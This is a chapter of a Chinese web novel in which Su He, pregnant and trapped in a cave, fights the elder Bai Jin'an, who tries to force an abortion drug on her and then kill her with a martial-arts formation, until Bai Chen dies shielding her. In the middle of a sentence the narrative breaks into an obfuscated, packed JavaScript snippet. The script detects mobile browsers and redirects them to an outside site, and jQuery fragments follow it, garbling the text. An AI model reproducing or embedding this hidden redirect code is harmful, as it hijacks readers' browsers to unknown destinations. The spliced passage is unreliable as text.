119. 怀孕2

作品:《夫人她天生反骨

    苏荷撒出的药粉瞬间迷了白今安的眼。


    她心头暗喜,正要夺门而出,却见白今安广袖一挥,兀地挡住了她的去路。


    白今安仍是一副慈眉善目的样子,因沾染药粉的缘故,他混浊的老眼里涌出些许混浊的泪,但并无大碍。


    他笑了笑:“老朽好歹也是姑娘的半个师傅,姑娘竟用如此拙劣的手段来对付老朽,未免也太不知天高地厚了。”


    苏荷冷声回:“不知天高地厚的又何止是晚辈一人。”


    白今安嘲讽:“姑娘年纪轻轻,语气倒是狂妄。”


    苏荷答:“真正的狂妄也非晚辈一人。”


    白今安的笑意冷了几分,转头往身后的大厅看了一眼,大厅另一边是石门,石门外是长长的石径,穿过石径便可到达洞外。


    他的语气不疾不徐:“姑娘这是妄想逃出融洞么,殊不知,洞外又有官兵在搜山了,姑娘早已逃无可逃。”


    苏荷沉沉盯着他:“所以,你才这么急着开启供血法阵?”


    白今安答:“还望姑娘体谅老朽的一片苦心。”


    苏荷咬紧齿关,逼近他:“我就算落到官兵手里,也绝不屈服于你的威慑。”她说着仍要强行夺门而出。


    白今安面色一变,满目狠戾:“那就别怪老朽不客气了。”说完伸臂朝苏荷狠狠挥出一拳。


    那一拳不仅带着力道,还带着某种无形的灼人的热浪,铺天盖地地朝苏荷汹涌而来。


    苏荷猝不及防,霎时被击得后退数步,仰面倒在了洞内的另一个蒲团上,唇角也渗出了缕缕血迹。


    白今安眸色阴沉:“姑娘今日就认命吧。”


    他仍端着那碗堕胎药,躬身逼近苏荷,欲要强行灌药。


    此时张秀花早已听到这边融洞的动静,她气不过,随手抄起一块石头重重朝白今安的后背掷过来。


    白今安毫无防备,竟被那块石头砸中肩膀,砸得他身子一晃,“呯”的一声晃落了手中的药碗,打胎药洒了一地。


    白今安气急败坏,反手朝张秀花挥出一掌。


    张秀花毫无还手之力,被他击得一个趔趄,“噗通”一声跌坐在了洞门口的泥地上。


    苏荷大声相劝:“姑姑,你回去歇息,别管我这边的事儿。”


    张秀花哪能不管,她“嗖”的从地上爬起来,指着白今安破口大骂:“小姐你可看清了,这个老帮菜压根儿不是什么好东西,獐眉鼠目一肚子坏水,早知如此咱们就不听他什么鬼话了。”


    又说:“小姐你放心,我今日即便豁出性命也绝不允许他伤害你。”


    她说完拽下壁上的一束火把,径直朝白今安冲过来——她要将这个老帮菜活活烧死。


    白今安哪是吃素的,一个旋身,再挥一掌。


    张秀花还未来得及近他身,便忽地腾空而起,片刻后再次重重摔在了洞外的泥地上,摔得她眼冒金星肝胆俱裂。


    苏荷想冲出洞去看看张秀花的情况,却被白今安挥出的灼人热浪挡住去路,那股热浪如一堵高墙,严严实实地封住了这一孔融洞。


    她只得隔着热浪高喊:“姑姑,你可还好?”


    张秀花缓了缓,大声回:“小姐放心,我好着呢。”


    她向来胆小怕事,今日好不容易挺起腰板大胆一回,竟是于事无补。既然她对付不了这个白老儿,那她便赶紧去搬救兵,旁边融洞不是还有方亦成么。


    张秀花拍了拍手上的泥灰,吃力地从地上爬起来,转身出了洞。


    此时在这间小孔融洞里,白今安已稳操胜券。


    他睥睨着蒲团上的苏荷,“既然没了打胎药,那老朽便只能以法阵杀胎了。”


    苏荷暗暗握拳:“何谓以法阵杀胎?”


    白今安沉声答:“便是在开启法阵后,第一步杀胎,第二步供血。”


    苏荷咬着齿关:“你若敢杀胎,我必以命相搏。”


    白今安哈哈大笑:“你以为,老朽会惜你性命?”


    苏荷反问:“你不是需要我给白辰供血五年么?”


    白今安再次哈哈大笑,笑得颠狂,“姑娘果然还是太年轻。”


    苏荷神色紧绷:“你此话何意?”


    白今安满眸得意:“五年不过是个说辞而已,说白了,老朽不需要你给辰儿供血,老朽要的是你给辰儿换血,更直白点说,老朽不仅要取你的血,老朽更要取你的命。”


    苏荷向来心思缜密、步步为营,却从未想过自己竟被这个白发老儿玩弄于股掌之间。


    她道了声“卑鄙无耻”,兀地抽出发间簪子起身朝白今安刺过去。


    白今安以闪电之速抓住她的手腕,再次将她摁回到蒲团上,冷声警告:“垂死挣扎,负隅顽抗,是没用的。”


    他说完松开她,继而起身念咒,徐徐开启法阵。


    须臾间,苏荷便感觉有某种巨大的力在朝她围拢过来。


    若说那是力,不如说那是风——一股强劲的冰冷的风,冷得刺骨,冷得钻心,冷得她意识迷离恍惚。


    她喃喃低语:“我不要换血……不要死……孩子不要死……”


    她的低语断断续续,渐渐消失在一阵又一阵的冷风里……


    那股冷风却让蒲团上的白辰渐渐苏醒。


    他看到了瘫软在地的姐姐,也看到了正盘腿而坐闭目施法的阿翁。


    他一眼认出了阿翁的招式,那是枯骨掌,一种夺人性命的功法。


    白辰大惊,急忙从蒲团上爬起来,去唤苏荷:“姐姐你醒醒,姐姐你不能睡过去。”


    苏荷被他摇醒,喃喃唤了声“白辰”。


    白辰殷切交代:“姐姐切记别面朝阿翁,须得背过身去,方能稍稍避开他的掌风。”


    苏荷点头应“好”,继而吃力地在蒲团上转了个向,背过身去。


    刚一背过身,那股冷风的酷烈程度果然小了许多。


    白辰安顿好苏荷后,急忙上前跪在了白今安面前,磕头苦求:“阿翁您就收手吧,别害人性命了,阿翁,辰儿求你了……”


    白今安仍在挥动双臂施法,片刻后慢悠悠睁眸:“辰儿,你且回到蒲团上去,阿翁很快就能给你换一副体魄,换一副容貌了。”


    白辰哭着回:“辰儿不需要换体魄,也不需要换容貌,辰儿喜欢自己现在的样子,阿翁就别再执着了。”


    白今安沉声叹息,继而掷地有声:“辰儿已到弱冠之年,怎能如此不懂事,你难道忘了你父亲的死吗,他可是被外戚欺压而死啊,老朽咽不下这丧子之痛,辰儿也万不能忘记这血海深仇,如今老朽已将自己塑成皇帝的模样,待辰儿换完血有了强健的体魄,老朽再将辰儿塑成皇子的模样,届时寻着机会,咱们便让这赵家天下变成我白家的天下,届时若谁还敢欺辱咱们,咱们便叫他求生不得求死不能。”


    白辰开始呜呜大哭:“辰儿不要做什么皇子,辰儿不要什么天下……”


    此时背朝他们坐在蒲团上的苏荷已是心中大惊,这个白今安果然不简单——果然是狼子野心啊。


    他那张脸也果然是通过塑骨,塑成了当今皇帝的模样。


    想到此,她深吸一口气,集中精力对抗那无处不在的酷烈冷风。


    她万不能让自己死在这孔融洞里、死在这个白老儿手里。


    白辰仍在殷殷苦求。


    但白今安压根儿不买账,最后厉喝一声:“辰儿,你且闪远点。”说完隔空朝苏荷推出一掌。


    但掌风还未到达苏荷的后背,白辰便飞速起身,伸臂挡在了苏荷背后:“阿翁既然要杀姐姐,那就一道将辰儿也杀了吧。”


    白今安气急败坏:“你小子混账。”


    白辰驳:“阿翁才是天底下第一混账之人。”


    “不知天高地厚的东西。”白今安懒得再废口舌,稍稍提气,朝着白辰也挥出一掌。


    掌风柔韧而强劲,瞬息间便将白辰从苏荷背后移开。


    随即白今安酝酿气息


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16342740|172355||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,欲朝苏荷挥出枯骨掌的招式。


    白辰却性子倔强,再次冲过来挡在了苏荷背后。


    他大声叮嘱:“姐姐集中精力,跟着我念静心咒,千万别被卷到阿翁的掌风里去。”说完他开始大声念咒。


    他念一句,苏荷也跟着念一句,两人一唱一和,竟也堪堪抵住了白今安的掌风。


    白今安冷哼一声:“两人皆不知天高地厚。”说完咬了咬牙关,再次提气,猛地朝苏荷大力挥掌。


    掌风被静心咒挡在了毫厘之外——距苏荷的身体堪堪毫厘。


    二人在大声念静心咒,念得气息发颤,满头大汗,一息一息地熬。


    当双方殊死搏斗之时,张秀花也在另一边融洞找到了方亦成。


    他自上回受伤,已安心调养了一段时日,虽未完全康复,却也恢复了七八成。


    听完张秀花的叙述,他拿起长剑就往洞外走。


    张秀花跟在他身后,边走边絮叨:“亦成,那白老儿武艺高强得很,你可得要小心。”


    又说:“白老儿这回是冲着小姐的性命而去的,小姐的安危就靠你了啊亦成。”


    方亦成始终冷着脸,一言不发。


    两处融洞相距数百米,二人行至中段时,兀地听到山下传来几声呼喝。


    张秀花吓得一顿:“这山上向来人迹罕至,怎的又有人声了?”


    方亦成这才开口答:“是大理寺的官兵,他们又在搜山了。”


    张秀花面色发白,两股战战:“是……是姑爷?”


    这前有狼后有虎的日子她已过得够够的,可如今虎狼竟同时向她们来索命,她如何不害怕。


    方亦成沉声回:“姑姑该改口了,少卿大人已非你的姑爷。”


    又说:“不过是搜山而已,没什么大不了的,现下去救姑娘要紧。”


    他说完拉着张秀花侧身穿过窄窄的山道,进到了另一边融洞,再穿过长长的石径,打开一扇石门,进入了洞中之洞。


    此时洞内仍是斗得热火朝天。


    白今安在持续加大掌风的力度,白辰与苏荷俨然已疲于应对,那静心咒也渐渐念得七零八落。


    方亦成急步上前,挥剑与二人一道抵挡白今安的掌风。


    他大声问:“白前辈对姑娘向来关照有加,今日为何下此狠手?”


    白今安答:“老朽自有老朽的道理,亦成你勿多管闲事。”


    方亦成驳:“晚辈与姑娘彼此信赖,今日这闲事晚辈是管定了。”


    白今安稍稍收起掌风的力度,软言相劝:“亦成今日若能成全老朽,老朽必谢以重金。”


    方亦成拒得干脆:“有些事可以交易,有些事却交易不得,恕晚辈难以从命。”


    白今安冷笑:“我知亦成心悦于此女,但亦成可知,此女心里根本没你,你又何必一厢情愿地为其付出?”


    又说:“落花有意流水无情,亦成当看清眼前现实啊。”


    洞外的张秀花急了:“亦成,你别听白老儿挑拨,他没安好心。”


    白今安对张秀花已是忍无可忍,不禁下了死手,挥臂朝她狠狠推出一掌,那一掌正好打在了她的胸口上。


    张秀花只觉一阵眩晕,继而口吐鲜血倒地,无声无息了。


    方亦成愕然:“前辈竟用如此手段对待妇孺。”


    白今安冷哼一声:“老朽对任何挡路之人皆不会心软,望亦成也能好自为之。”又说:“此女已怀有身孕,莫非亦成想娶一个怀着别人孩子的女子?”


    听到苏荷怀有身孕,方亦成有瞬间的恍惚。


    也正是在他恍惚的瞬间,白今安趁机运功,以洪荒之力再次对着苏荷挥出绝命一掌。


    那一掌摧枯拉朽,令地动山摇。


    白辰眼疾身快,兀地从背后抱住了苏荷,硬生生挡下了那一掌。


    一息之间,白辰被震得脏腑俱碎。


    只听“啊”的一声痛呼,他口吐鲜血,中掌而亡……